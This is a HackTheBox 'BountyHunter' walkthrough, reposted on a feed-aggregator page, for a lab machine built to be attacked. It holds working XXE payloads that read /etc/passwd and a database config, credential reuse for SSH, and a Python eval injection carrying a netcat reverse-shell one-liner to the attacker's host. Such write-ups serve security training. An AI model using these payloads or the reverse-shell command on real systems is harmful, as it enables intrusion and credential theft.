惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

S
SegmentFault 最新的问题
Security Latest
Security Latest
Martin Fowler
Martin Fowler
酷 壳 – CoolShell
酷 壳 – CoolShell
Engineering at Meta
Engineering at Meta
The Register - Security
The Register - Security
H
Hackread – Cybersecurity News, Data Breaches, AI and More
罗磊的独立博客
MyScale Blog
MyScale Blog
Microsoft Azure Blog
Microsoft Azure Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
WordPress大学
WordPress大学
M
MIT News - Artificial intelligence
小众软件
小众软件
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
F
Fortinet All Blogs
博客园 - 叶小钗
H
Help Net Security
大猫的无限游戏
大猫的无限游戏
U
Unit 42
G
Google Developers Blog
V
Visual Studio Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
PCI Perspectives
PCI Perspectives
The Last Watchdog
The Last Watchdog
有赞技术团队
有赞技术团队
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
N
News and Events Feed by Topic
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Application and Cybersecurity Blog
Application and Cybersecurity Blog
雷峰网
雷峰网
SecWiki News
SecWiki News
Google Online Security Blog
Google Online Security Blog
S
Security @ Cisco Blogs
N
News | PayPal Newsroom
The Hacker News
The Hacker News
月光博客
月光博客
T
Threatpost
B
Blog
P
Proofpoint News Feed
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Simon Willison's Weblog
Simon Willison's Weblog
P
Palo Alto Networks Blog
L
LangChain Blog
Scott Helme
Scott Helme
Last Week in AI
Last Week in AI
C
Check Point Blog
P
Privacy International News Feed

Homepage on Aditya Telange

One Year with evil-winrm-py - A Retrospective Bypassing LinkedIn's Connection Privacy with a Simple Search Filter Making Dynamic Instrumentation Accessible with Frida UI Breaking Payload Encryption in Web Applications HackTheBox (HTB) - Escape HackTheBox (HTB) - Resolute HackTheBox (HTB) - Certified State of VMWare Workstation (Pro?) on Linux Android App Security Testing Lab with MobSleuth Android phone as a Webcam on Linux Breaking down Reverse shell commands HackTheBox (HTB) - Photobomb Merging AOSP Security Patches into Custom ROMs Primer on HTTP Security Headers Image Zoom-In effect with HUGO HackTheBox (HTB) - Legacy HackTheBox (HTB) - Lame Cryptohack - Keyed Permutations [5 pts] Cryptohack - Resisting Bruteforce [10 pts] Cryptohack - RSA Starter 1 [10 pts] Cryptohack - Base64 [10 pts] Cryptohack - Bytes and Big Integers [10 pts] Cryptohack - Hex [5 pts] Cryptohack- XOR Starter [10 pts] HackTheBox (HTB) - Horizontall HackTheBox (HTB) - Forge HackTheBox (HTB) - Previse HackTheBox (HTB) - Explore HackTheBox (HTB) - Cap HackTheBox (HTB) - Pit HackTheBox (HTB) - Knife HackTheBox (HTB) - Love HackTheBox (HTB) - Tenet HackTheBox (HTB) - Ready Watermarking images with HUGO My Github Project went viral! Cryptohack - ASCII [5 pts] Cryptohack - Finding Flags [2 pts] Cryptohack - Great Snakes [3 pts] Cryptohack - JWT Sessions [10 pts] Cryptohack - Network Attacks [5 pts] Cryptohack - Token Appreciation [5 pts] CAF's Android for MSM Basic Website Analytics with Vercel Github Actions as Temporary File Sharing Platform Addition of prebuilt APK - AOSP Rom Development External Link With target='_blank' in Hugo Markdown Setting Up Build Environment - AOSP Rom Development Getting Started - AOSP Rom Development Using Secure HTTP Headers with Vercel/Zeit Education and Certifications Link Tree ↟ | Aditya Telange Personal Projects Resume - Aditya Telange Security Acknowledgements About Me Graph View License Privacy Policy
HackTheBox (HTB) - BountyHunter
[Aditya Telange](https://x.com/adityatelange) · 2021-11-20 · via Homepage on Aditya Telange
Box Info
  • Name: BountyHunter
  • OS: Linux
  • Difficulty: Easy
  • IP: 10.10.11.100
  • Points: 20
  • Machine Creator: ejedev

Introduction

BountyHunter is a fun Linux box on HackTheBox that has XXE injection on a PHP form, which exposes DB credentials. This DB credential is reused as a password for a user on the box.

The box also has an internal python3 script which could be run as elevated privileges. This script uses eval by which we get command injection, which leads to superuser access to this box.


Scanning & Enumeration

Massscan

sudo masscan -p1-65535,U:1-65535 --rate=500 -e tun0 10.10.11.100

Discovered open port 80/tcp on 10.10.11.100
Discovered open port 22/tcp on 10.10.11.100

NMAP

sudo nmap -sC -sV -oN 10.10.11.100.nmap 10.10.11.100

# Nmap 7.80 scan initiated Sat Jul 31 13:19:13 2021 as: nmap -sC -sV -oN 10.10.11.100.nmap 10.10.11.100
Nmap scan report for 10.10.11.100
Host is up (0.14s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 31 13:19:42 2021 -- 1 IP address (1 host up) scanned in 29.04 seconds

So the open ports we have here are: 80 and 22. Port 80 is running Apache server 2.4.41.


We add the box’s IP to the hosts file at /etc/hosts so that we can use http://bountyhunter.htb.

10.10.11.100    bountyhunter.htb

We can test and see that port 80 is using PHP.

Running DIRB

dirb http://10.10.11.100 -X .php

-----------------
DIRB v2.22
By The Dark Raver
-----------------

URL_BASE: http://bountyhunter.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://bountyhunter.htb/ ----
+ http://bountyhunter.htb/db.php (CODE:200|SIZE:0)
+ http://bountyhunter.htb/index.php (CODE:200|SIZE:25169)
+ http://bountyhunter.htb/portal.php (CODE:200|SIZE:125)

-----------------
DOWNLOADED: 4612 - FOUND: 3

We find a portal here http://bountyhunter.htb/portal.php which says “Portal under development. Go here to test the bounty tracker.” and links to http://bountyhunter.htb/log_submit.php.

On this page, we have a form that sends data back to the server.

XXE injection bug

We use Burp Suite to look into the data being sent by using Interceptor. We find that /log_submit.php sends a POST req to /tracker_diRbPr00f314.php (lol, the file name is dirb proof) with payload =>

1
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50aXRsZTwvdGl0bGU%2BCgkJPGN3ZT4wPC9jd2U%2BCgkJPGN2c3M%2BMDwvY3Zzcz4KCQk8cmV3YXJkPjA8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D

We can decode the base64 encoded data. The XML data being sent looks like this:

1
2
3
4
5
6
7
<?xml  version="1.0" encoding="UTF-8"?>
        <bugreport>
        <title>title</title>
        <cwe>0</cwe>
        <cvss>0</cvss>
        <reward>0</reward>
        </bugreport>

As we can guess the bug here should be in parsing the XML input, most probably XXE (XML external entities) injection 1.

We now try to exploit this using Burp Suite’s Repeater 2.

If we use the following XML, we can read the hostname file located at /etc/hostname Here, we have added an extra line, as highlighted.

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>0</cwe>
        <cvss>0</cvss>
        <reward>0</reward>
        </bugreport>

We can see that we read the file /etc/hostname which has the text bountyhunter in it.

Similarly, we can get /etc/passwd’s contents.

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>0</cwe>
        <cvss>0</cvss>
        <reward>0</reward>
        </bugreport>

The following is the output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Of these only development and root are the users having their shell as /bin/bash and HOME directory set, meaning they are non-system users or real users.

We already know that on submitting the form on log_submit.php we get If DB were ready.. text and also we have found a db.php with the DIRB scan!

Obtaining DB credentials

Now we read the /db.php file in a similar manner:

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///var/www/html/db.php"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>0</cwe>
        <cvss>0</cvss>
        <reward>0</reward>
        </bugreport>

⛔ But, we get nothing!! This happens because after the contents of /db.php is added into XML, the data is then stripped out while returning by /tracker_diRbPr00f314.php.

Hence, we need to encode the PHP strings into something else so that we could prevent this from happening and get back the contents of /db.php.

We do this by using php://filter/convert.base64-encode/resource=<filename> 3

This is the XML data we can use to fetch the db.php file:

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>0</cwe>
        <cvss>0</cvss>
        <reward>0</reward>
        </bugreport>

We can now send this via the BURP repeater.

And we get the file contents of DB having the below content.

1
2
3
4
5
6
7
8
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoA█████████Tsq6K";
$testuser = "test";
?>

Obtaining user.txt

We try logging into user development as we saw in /etc/passwd file using SSH and password as it was mentioned in /db.php

ssh development@bountyhunter.htb

We get user development’s shell 🐚!! And also user.txt flag


Privilege Escalation

We see contract.txt file in /home/development/ which reads:

This means that there should be a tool/scripts/binary which could have sudoers permissions! 😈

sudo -l reveals user’s privileges for a special script

Running sudo -l reflects this:

We have a file /opt/skytrain_inc/ticketValidator.py which can be run using python3 as a superuser (root in this case) without supplying any password.

Below are the contents of /opt/skytrain_inc/ticketValidator.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Exploiting eval to get command injection

What ticketValidator.py does is, it gets a file path in input and processes it, and returns whether the ticket is Valid or Invalid.

Notice line-no 34 which is using eval4 to evaluate the expression in the ticket. For ex. 704+1 will return 705.

Using the logic in code and parsing we have the following ticket Valid.

1
2
3
4
# Skytrain Inc
## Ticket to LONDON
__Ticket Code:__
**704+1**

We can use the eval function in python3 to execute a system command and this command will get executed as root!

Accordingly, ticket.md can be crafted as shown below to get a reverse shell.

1
2
3
4
# Skytrain Inc
## Ticket to LONDON
__Ticket Code:__
**704+__import__('os').system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.██.██ 4242 >/tmp/f")**

Obtaining superuser access & root.txt

We make a new file ticket.md with the above contents and then run the below command on target box:

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

We listen on attacker box with:

Then enter the file path for ticket.md. For me it was /tmp/ticket.md

development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md

A reverse shell is sent back to our listener. And we get root’s shell!! Yayy 🎉